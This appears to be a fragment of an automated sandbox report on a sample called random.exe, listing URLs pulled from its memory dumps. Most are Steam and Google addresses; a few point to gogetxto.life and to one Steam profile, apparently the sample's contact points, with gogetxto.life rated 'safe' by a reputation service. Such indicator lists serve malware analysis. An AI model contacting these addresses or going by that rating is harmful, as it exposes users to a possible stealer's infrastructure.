00000000.00000003.1266149045.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1307819302.00000000052F3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138551161.00000000052FA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1266474719.0000000000BEC000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.00000000052FC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gogetxto.life/P	random.exe, 00000000.00000003.1122560402.0000000000BEC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	random.exe, 00000000.00000003.1308047617.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111839784.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225145122.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000002.1329114147.00000000052F1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122505747.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1281085200.00000000052EB000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1179973082.0000000005331000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248700419.00000000052E5000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.0000000005302000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293819331.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248633296.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1266149045.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1307819302.00000000052F3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138551161.00000000052FE000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225045755.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308019077.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1280998414.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122543601.0000000000C3B000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1319136204.00000000052F1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293767313.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1207105013.00000000053F9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/recaptcha/	random.exe, 00000000.00000003.1207264933.00000000052E2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://checkout.steampowered.com/	random.exe, 00000000.00000003.1207264933.00000000052E2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/javascript/applications/community/libraries~b28b	random.exe, 00000000.00000003.1111839784.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122505747.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1281085200.00000000052EB000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225176832.0000000000BEC000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1180108734.000000000531C000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1179973082.0000000005331000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293819331.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308047617.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.0000000005302000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1207137193.00000000052F3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248633296.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308124670.0000000000BCB000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1180376122.0000000005305000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1294172488.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248819986.0000000000BEC000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1281212887.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1266149045.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1307819302.00000000052F3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138551161.00000000052FA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1266474719.0000000000BEC000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.00000000052FC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&amp	random.exe, 00000000.00000003.1308047617.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111839784.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122505747.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1307819302.00000000052F3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138551161.00000000052FE000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308019077.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122543601.0000000000C3B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png	random.exe, 00000000.00000003.1308047617.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111839784.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225145122.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122505747.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1281085200.00000000052EB000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1179973082.0000000005331000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248700419.00000000052E5000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.0000000005302000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293819331.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248633296.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1266149045.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1307819302.00000000052F3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138551161.00000000052FE000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225045755.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308019077.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1280998414.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122543601.0000000000C3B000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293767313.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1207105013.00000000053F9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gemini.google.com/app?q=	random.exe, 00000000.00000003.1124246645.0000000005329000.00000004.00000800.00020000.00000000.sdmp	false		high
https://store.steampowered.com/;	random.exe, 00000000.00000003.1319292450.0000000000BCC000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167060919.00000000052E8000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000002.1329477281.00000000053E8000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293767313.00000000053E8000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1207264933.00000000052E2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gogetxto.life/9	random.exe, 00000000.00000003.1319292450.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000002.1321220446.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/about/	random.exe, 00000000.00000003.1207105013.00000000053F9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/	random.exe, 00000000.00000003.1207264933.00000000052E2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://steamcommunity.com/my/wishlist/	random.exe, 00000000.00000003.1308047617.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111839784.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225145122.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000002.1329114147.00000000052F1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122505747.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1281085200.00000000052EB000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1179973082.0000000005331000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248700419.00000000052E5000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.0000000005302000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293819331.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248633296.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1266149045.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1307819302.00000000052F3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138551161.00000000052FE000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225045755.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308019077.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1280998414.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122543601.0000000000C3B000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1319136204.00000000052F1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293767313.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1207105013.00000000053F9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/shared/css/motiva_sans.css?v=nc69vwog8R9p&l=	random.exe, 00000000.00000003.1122543601.0000000000C3B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamloopback.host	random.exe, 00000000.00000003.1207264933.00000000052E2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/css/promo/summer2017/stickers.css?v=INiZALwvDIbb	random.exe, 00000000.00000003.1308047617.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111839784.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1318981349.0000000005323000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122505747.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1307819302.00000000052F3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000002.1329437229.00000000053E0000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138655767.00000000052EF000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138551161.00000000052FE000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111839784.0000000000C2B000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122543601.0000000000C3B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://help.steampowered.com/en/	random.exe, 00000000.00000003.1308047617.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111839784.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225145122.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122505747.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1281085200.00000000052EB000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1179973082.0000000005331000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248700419.00000000052E5000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.0000000005302000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293819331.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248633296.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1180376122.0000000005305000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1266149045.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1307819302.00000000052F3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138551161.00000000052FE000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225045755.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308019077.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1280998414.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122543601.0000000000C3B000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293767313.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1207105013.00000000053F9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://steamcommunity.com/market/	random.exe, 00000000.00000003.1308047617.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111839784.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225145122.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122505747.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1281085200.00000000052EB000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1179973082.0000000005331000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248700419.00000000052E5000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.0000000005302000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293819331.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248633296.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1180376122.0000000005305000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1266149045.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1307819302.00000000052F3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138551161.00000000052FE000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225045755.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308019077.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1280998414.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122543601.0000000000C3B000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293767313.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1207105013.00000000053F9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://store.steampowered.com/news/	random.exe, 00000000.00000003.1308047617.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111839784.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225145122.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000002.1329114147.00000000052F1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122505747.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1281085200.00000000052EB000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1179973082.0000000005331000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248700419.00000000052E5000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308047617.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.0000000005302000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293819331.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248633296.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1266149045.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1307819302.00000000052F3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138551161.00000000052FA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138551161.00000000052FE000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225045755.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308019077.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1280998414.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111839784.0000000000C2B000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122543601.0000000000C3B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199822375128R	random.exe, 00000000.00000003.1225062365.0000000000C4E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/javasc	random.exe	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	random.exe, 00000000.00000003.1124246645.0000000005329000.00000004.00000800.00020000.00000000.sdmp	false		high
http://store.steampowered.com/subscriber_agreement/	random.exe, random.exe, 00000000.00000003.1266218601.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1266218601.00000000052F1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1210304976.0000000000C56000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1210732032.0000000000C56000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111839784.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1209568884.0000000000C56000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1209455611.0000000000C56000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122505747.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1208456212.0000000000C55000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167181910.0000000000C55000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1208710850.0000000000C56000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225176832.0000000000BEC000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1180108734.000000000531C000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1179973082.0000000005331000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293819331.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308047617.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.0000000005302000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1210351738.0000000000C56000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1207137193.00000000052F3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248633296.00000000052EA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/javascript/applications/community/manifest.js?v=	random.exe, random.exe, 00000000.00000003.1111839784.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122505747.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1281085200.00000000052EB000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225176832.0000000000BEC000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1180108734.000000000531C000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1179973082.0000000005331000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293819331.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308047617.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.0000000005302000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1207137193.00000000052F3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248633296.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308124670.0000000000BCB000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1180376122.0000000005305000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1294172488.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248819986.0000000000BEC000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1281212887.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1266149045.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1307819302.00000000052F3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138551161.00000000052FA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1266474719.0000000000BEC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	random.exe, random.exe, 00000000.00000003.1266218601.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1266218601.00000000052F1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1210304976.0000000000C56000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1210732032.0000000000C56000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111839784.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225145122.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1209568884.0000000000C56000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1209455611.0000000000C56000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122505747.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1208456212.0000000000C55000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167181910.0000000000C55000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1208710850.0000000000C56000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225176832.0000000000BEC000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1180108734.000000000531C000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1179973082.0000000005331000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293819331.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308047617.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.0000000005302000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1210351738.0000000000C56000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1207137193.00000000052F3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://recaptcha.net/recaptcha/;	random.exe, 00000000.00000003.1207264933.00000000052E2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199822375128b	random.exe, 00000000.00000003.1294172488.0000000000C4E000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1294346430.0000000000C51000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293865583.0000000000C4E000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308124670.0000000000C42000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308295104.0000000000C51000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/discussions/	random.exe, 00000000.00000003.1308047617.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111839784.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225145122.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122505747.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1281085200.00000000052EB000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1179973082.0000000005331000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248700419.00000000052E5000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.0000000005302000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293819331.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248633296.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1180376122.0000000005305000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1266149045.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1307819302.00000000052F3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138551161.00000000052FE000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225045755.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308019077.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1280998414.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122543601.0000000000C3B000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293767313.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1207105013.00000000053F9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_alldp.ico	random.exe, 00000000.00000003.1124246645.0000000005329000.00000004.00000800.00020000.00000000.sdmp	false		high
https://store.steampowered.com/stats/	random.exe, 00000000.00000003.1308047617.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111839784.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225145122.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122505747.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1281085200.00000000052EB000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1179973082.0000000005331000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248700419.00000000052E5000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.0000000005302000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293819331.00000000052ED000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248633296.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1180376122.0000000005305000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1266149045.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1307819302.00000000052F3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138551161.00000000052FE000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225045755.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308019077.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1280998414.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122543601.0000000000C3B000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293767313.00000000053E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1207105013.00000000053F9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://steamcommunity.com/R	random.exe, 00000000.00000003.1253408254.0000000000C4E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://medal.tv	random.exe, 00000000.00000003.1207264933.00000000052E2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://broadcast.st.dl.eccdnx.com	random.exe, 00000000.00000003.1207264933.00000000052E2000.00000004.00000800.00020000.00000000.sdmp	false		high
